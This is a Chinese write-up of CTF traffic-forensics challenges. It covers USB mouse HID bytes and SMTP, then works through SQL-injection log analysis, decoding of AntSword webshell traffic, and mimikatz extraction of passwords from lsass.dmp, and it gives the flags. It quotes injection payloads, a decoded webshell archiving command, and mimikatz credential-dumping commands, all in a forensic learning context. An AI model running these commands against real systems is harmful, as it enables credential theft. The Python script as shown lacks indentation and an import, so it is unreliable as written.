刚好前面说到了这个是个键盘流量那就顺带讲解一下USB流量好了。
鼠标协议
我们都知道鼠标在移动的时候可以形成一个轨迹这是因为鼠标移动时候的表现是具有连续性的,与键盘流量不一样,键盘的按键是离散型分布,因为我们并不会说一直使用同一个按键,虽然你敲键盘可能会很有节奏,但是我们可以通过了解知道在物理情况下的鼠标移动是连续的,但是在计算机的世界里所有的连续性都是有01构成的只是因为0和1足够的庞大所以才能让我们看上去是具有连续移动的状态。
我这里抓取了左键和右键按下的流量

当我开始抓取流量后我的右键按了一下以后变成了2,紧接着我松开了右键停了一会防止错误抓取,发现后面的流量是0

随后我在按下左键发现这个数字变成了1

一般的鼠标流量都是四个字节第一个字节代表按键:
当取0x00时,代表没有按键,当取0x01时,代表按左键,当取0x02时,代表当前按键为右键,当取0X04的时候是中键。
第二个字节可以看成是一个signed byte类型,其最高位为符号位:当这个值为正时,代表鼠标水平右移多少像素,当这个值为负时,代表鼠标水平左移多少像素。三个字节与第二字节类似,代表垂直上下移动的偏移。
现在这个流量显示的就是向右移动为
02 00 00 01 00 00 00 00 00

现在我在抓取左移动的数据
02 00 00 ff ff 00 00 00 00

通过抓起左右移动可以看出明显的不一样,那么同理我们也可以知道上下移动是类似的。
这一串我们知道是向上移动
02 00 00 00 00 ff ff 00 00

再通过抓取流量可以得知向下移动的是
02 00 00 00 00 01 00 00 00

通过抓包尝试我们得到了上下左右移动的情况如果是HID Data的协议直接照我的观察就行了
| 操作 | HID Data | 说明 |
|---|---|---|
| 向右移动 | 02 00 00 01 00 00 00 00 00 | X 轴向右移动 1 个单位 |
| 向左移动 | 02 00 00 ff ff 00 00 00 00 | X 轴向左移动 1 个单位 |
| 向上移动 | 02 00 00 00 00 ff ff 00 00 | Y 轴向上移动 1 个单位 |
| 向下移动 | 02 00 00 00 00 01 00 00 00 | Y 轴向下移动 1 个单位 |
| 点击鼠标左键 | 02 01 00 00 00 00 00 00 00 | 左键按下,无鼠标移动 |
| 点击鼠标右键 | 02 02 00 00 00 00 00 00 00 | 右键按下,无鼠标移动 |
| 鼠标不动 | 02 00 00 00 00 00 00 00 00 | 没有按键按下,无鼠标移动 |
最后说明一下为什么有些人的鼠标流量和我不一样这是因为协议不同Leftover Capture Data和HID Data也有可能是另外一种HID Data因为我还抓出另外一种形式的
| 操作 | HID Data | 说明 |
|---|---|---|
| 向右移动 | 00 01 00 00 00 00 00 | X 轴向右移动 1 个单位 |
| 向左移动 | 00 ff ff 00 00 00 00 | X 轴向左移动 1 个单位 |
| 向上移动 | 00 00 00 ff ff 00 00 | Y 轴向上移动 1 个单位 |
| 向下移动 | 00 00 00 01 00 00 00 | Y 轴向下移动 1 个单位 |
| 点击鼠标左键 | 01 00 00 01 00 00 00 | 左键按下,无鼠标移动 |
| 点击鼠标右键 | 00 02 00 01 00 00 00 | 右键按下,无鼠标移动 |
| 鼠标不动 | 00 00 00 00 00 00 00 | 没有按键按下,无鼠标移动 |
[HGAME 2022 week1]好康的流量
SMTP 协议是用于发送电子邮件的核心网络协议,它定义了邮件客户端或服务器如何将邮件传递到目标邮件服务器。
核心定义与作用
SMTP 的全称是Simple Mail Transfer Protocol(简单邮件传输协议),工作在 TCP/IP 协议族的应用层。
其核心作用是 “传输” 邮件 ,而非 “接收” 或 “存储” 邮件。它仅负责将邮件从发件方的邮件服务器传递到收件方的邮件服务器,后续用户收取邮件则需依赖 POP3 或 IMAP 等协议。
工作原理
SMTP 的工作过程本质是发件服务器与收件服务器之间的 “三次握手” 式对话,主要分为三个阶段。
- 连接建立
- 发件方邮件服务器(如sender.com的服务器)通过 TCP 协议,主动与收件方邮件服务器(如recipient.com的服务器)的25 号端口(默认端口)建立连接。
- 连接成功后,双方会发送问候信息(HELO/EHLO 命令),确认通信准备就绪。
- 邮件传输
- 发件服务器通过
MAIL FROM命令,告知收件服务器发件人的邮箱地址。 - 再通过
RCPT TO命令,告知收件服务器收件人的邮箱地址,可多次执行以实现群发。 - 最后通过
DATA命令,发送邮件的具体内容,包括主题、正文等,以.符号结束数据传输。
- 发件服务器通过
- 连接关闭
- 邮件传输完成后,发件服务器发送
QUIT命令,双方关闭 TCP 连接,一次邮件传输流程结束。
- 邮件传输完成后,发件服务器发送
关键特点
- 基于文本的协议:SMTP 命令和响应均为 ASCII 文本格式,便于调试和理解。
- 依赖 TCP 可靠传输:使用 TCP 协议作为底层传输协议,确保邮件数据不会丢失或损坏。
- 仅负责发送:如前所述,SMTP 不处理邮件的接收和存储,需与 POP3/IMAP 协议配合完成完整的邮件收发流程。
- 安全性扩展:原始 SMTP 协议不加密,存在安全风险。目前主流使用SMTPs(SMTP over SSL/TLS),默认端口为 465,通过加密通道传输邮件内容,保障信息安全。
解题思路为
我们通过IMF导出对象将后缀改为mht通过网页打开后下载也可以通过base64编码转图片得到
通过steg找到了一个条形码通过扫描得到
hgame{ez_1mg_
Steg4n0g raphy}


[闽盾杯 2021]日志分析
通过附件知道是一个二分布尔盲注
为什么附件是二分布尔盲注可以通过
SQL注入字符串:
- 日志中有多个可疑的SQL注入模式,例如:
"id=1%20AND%206459%3D3387%20AND%20%283296%3D3296"这种情况表示一个 基于布尔值的盲注,通过AND 6459=3387等条件来测试是否成功篡改查询。- 例如
"id=1%27%20AND%20(SELECT%20CVAR%28NULL%29%20FROM%20MSysAccessObjects)%20IS%20NULL"也反映了复杂的嵌套查询,用于测试数据库响应,而不会直接暴露数据。
重复测试:
- 日志中相似的URL频繁访问,并且查询参数不同,这表明攻击者正在系统地测试不同的SQL注入负载。这是盲注攻击中常见的做法,攻击者虽然不能直接看到反馈信息,但可以根据服务器的响应(如响应时间、错误或返回的内容)推测信息。
时间延迟测试:
- 日志中出现了
SLEEP(5)调用,如"SELECT%20SLEEP(5)%20AND%20%27guyw%27%3D%27guyw",这表明攻击者正在进行基于时间的盲注测试。通过延迟响应时间,攻击者可以推测条件是否成立。例如,如果条件为真,查询会延迟响应,反之则不会。
数据提取尝试:
- 类似
"UNION ALL SELECT NULL, CONCAT..."的字符串表明攻击者正在尝试通过联合查询提取敏感数据,这是 错误基注入 或 联合查询注入 的常见方法。在盲注攻击中,攻击者常常结合其他注入技术来尝试获取数据库中的信息。
我们要先通过脚本对文件进行URL解码可以得到
ngjfdsUbdK
脚本为
# 导入 urllib.parse 库中的 unquote 函数,用于 URL 解码
from urllib.parse import unquote
# 定义一个空列表,用于存储符合条件的日志行
a = []
# 打开名为 "access.log" 的日志文件,以二进制模式读取
with open("access.log", "rb") as f:
# 遍历日志文件中的每一行
for i in f.readlines():
# 对每一行进行 URL 解码,并去掉前 100 个字符以及末尾的空白字符
i1 = unquote(i)[100:].strip()
# 判断解码后的字符串中是否包含特定的 SQL 注入特征
# 比如 "password AS NCHAR)" 和 "678" 是攻击的常见模式
if "password AS NCHAR)" in i1 and "678" in i1:
# 如果满足条件,将这一行添加到列表 a 中
a.append(i1)
# 定义一个空字典,用于存储提取的结果
a2 = {}
# 遍历符合条件的日志行
for i in a:
# 使用正则表达式从日志行中提取两个数字
# 目标是匹配模式 "LIMIT 0,1),<数字>,1))>(<数字>)" 形式的字符串
re1 = re.search(r"LIMIT 0,1\),(\d+),1\)\)>(\d+)", i)
# 如果正则匹配成功,则将第一个数字和第二个数字存入字典 a2 中
if re1:
a2[re1[1]] = re1[2]
# 打印提取到的数字字典
print(a2)
# 初始化一个空字符串,用于存储最后的标志字符串
flag = ""
# 遍历字典 a2 的所有键值对
for i in a2:
try:
# 获取字典中的值并尝试将其转换为整数
tmp = a2[i]
tmp = int(tmp) # 转换为整数
# 将整数值转换为对应的 ASCII 字符并追加到 flag 字符串中
flag += chr(tmp)
# 每次获取一个字符后打印当前的 flag
print(flag)
except:
# 如果转换失败,跳过此项,继续下一项
continue
[蓝帽杯 2022 初赛]domainhacker
我们打开附件通过协议分级直接锁定http流量打开一个返回值为200的可以知道是一个纯蚁剑流量
特征非常明显
a=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit
通过URL解密可以知道
p48a6d55fac1b1=Tw&q8fb9d4c082c11=YNY2QgL2QgImM6XFxXaW5kb3dzXFxUZW1wIiZyYXIuZXhlIGEgLVBTZWNyZXRzUGFzc3cwcmRzIDEucmFyIDEudHh0JmVjaG8gZWZhOTIzYmE1MDQmY2QmZWNobyAxYTRiZTg4MTVlZjg=&yee092cda97a62=6iY21k
看这个有点像是base64然后解密就可得到加密数据
Y2QgL2QgImM6XFxXaW5kb3dzXFxUZW1wIiZyYXIuZXhlIGEgLVBTZWNyZXRzUGFzc3cwcmRzIDEucmFyIDEudHh0JmVjaG8gZWZhOTIzYmE1MDQmY2QmZWNobyAxYTRiZTg4MTVlZjg

cd /d "c:\\Windows\\Temp"&rar.exe a -PSecretsPassw0rds 1.rar 1.txt&echo efa923ba504&cd&echo 1a4be8815ef8
可以知道密码是SecretsPassw0rds还有一个1.rar的文件,通过导出HTTP的分组字节流可以发现里面有一个1.rar的选项到处以后输入密码就可以找到哈希
msv :
[00000003] Primary
* Username : PDC$
* Domain : TEST
* NTLM : 416f89c3a5deb1d398a1a1fce93862a7
* SHA1 : 54896b6f5e60e9be2b46332b13d0e0f110d6518f
flag{416f89c3a5deb1d398a1a1fce93862a7}
[HUBUCTF 2022 新生赛]messy_traffic

通过打开文件,还是原来的步骤,直接去寻找http流量发现没有特别多,那就一个流一个流的去寻找找到了一个PK开头的压缩包文件,直接提取出来通过foremost提取,解压发现有密码,这个时候我们就要开始寻找密码通过六文件找到了一个passwd.txt那么下面那个应该就是密码,解码直接得出flag为NSSCTF{01af2547082a7c800b20123f030b2a07}

[安洵杯 2019]Attack
还是看分级锁定http直接查看排序后发现上传了一个文件,这个时候我们通过foremost提取一下发现提出来不少东西但是有一个zip的压缩包,打开压缩包后

这可是administrator的秘密,怎么能随便给人看呢?
administrator是windows操作系统管理员用户,猜测和用户密码有关。
重新分析流量包,搜索查看常用协议,发现在http协议中存在lsass.dmp
什么是dmp文件
dmp 文件是 内存转储文件(Memory Dump File) 的简称,简单说就是系统或程序崩溃时,将当时内存中的数据 “快照” 保存到磁盘形成的文件,主要用于事后分析崩溃原因。
dmp 文件的核心作用:定位 “崩溃原因”
当系统蓝屏、软件闪退或服务意外终止时,dmp 文件会记录以下关键数据,帮助排查问题:
- 崩溃时间点的内存数据:包括程序运行时的变量、函数调用栈、进程状态等。
- 错误代码与上下文:比如 Windows 蓝屏的 “停止代码”、程序的异常指令地址等。
- 系统 / 程序环境信息:如操作系统版本、硬件驱动版本、程序版本等。
简单来说,它就像汽车故障时的 “黑匣子”,能还原崩溃瞬间的关键状态,避免 “只知道崩溃了,却不知道为什么崩溃” 的困境。
dmp 文件的常见来源
不同场景下生成的 dmp 文件,用途和位置略有不同,主要分为两类:
- 系统级 dmp 文件(如 Windows 蓝屏)
- 触发场景:Windows 系统蓝屏(BSOD)时自动生成,用于分析蓝屏原因(如驱动冲突、硬件故障、系统文件损坏等)。
- 默认位置:通常在
C:\Windows\目录下,常见文件名如MEMORY.DMP(完整内存转储)、minidump\文件夹下的小文件(精简版,仅包含核心错误信息)。 - 特点:文件大小差异大,完整转储可能达几十 GB(等于物理内存大小),精简版仅几 MB。
- 应用级 dmp 文件(如软件闪退)
- 触发场景:桌面软件(如 Office、设计工具)或后台服务(如 Java 程序、数据库服务)崩溃时生成,用于开发人员定位代码 bug。
- 生成方式:
- 部分软件自带崩溃捕获功能(如通过 Visual Studio、Qt 等开发工具编译时配置)。
- 需手动通过工具生成(如 Windows 的
adplus.exe、Linux 的gcore命令)。
- 特点:文件大小通常较小(几 MB 到几百 MB),仅包含该程序的内存信息,不涉及系统其他进程。

通过查找HTTP发现了dmp文件我们直接提取,我们需要用到一个工具去查看使用mimikatz分析.dmp文件需要在同一目录下

知道了密码是W3lc0meToD0g3
//载入dmp文件
sekurlsa::minidump lsass.dmp
//读取登陆密码
sekurlsa::logonpasswords full
解压后为flag在最下面
This is the secret of the administrator!
D0g3{3466b11de8894198af3636c5bd1efce2}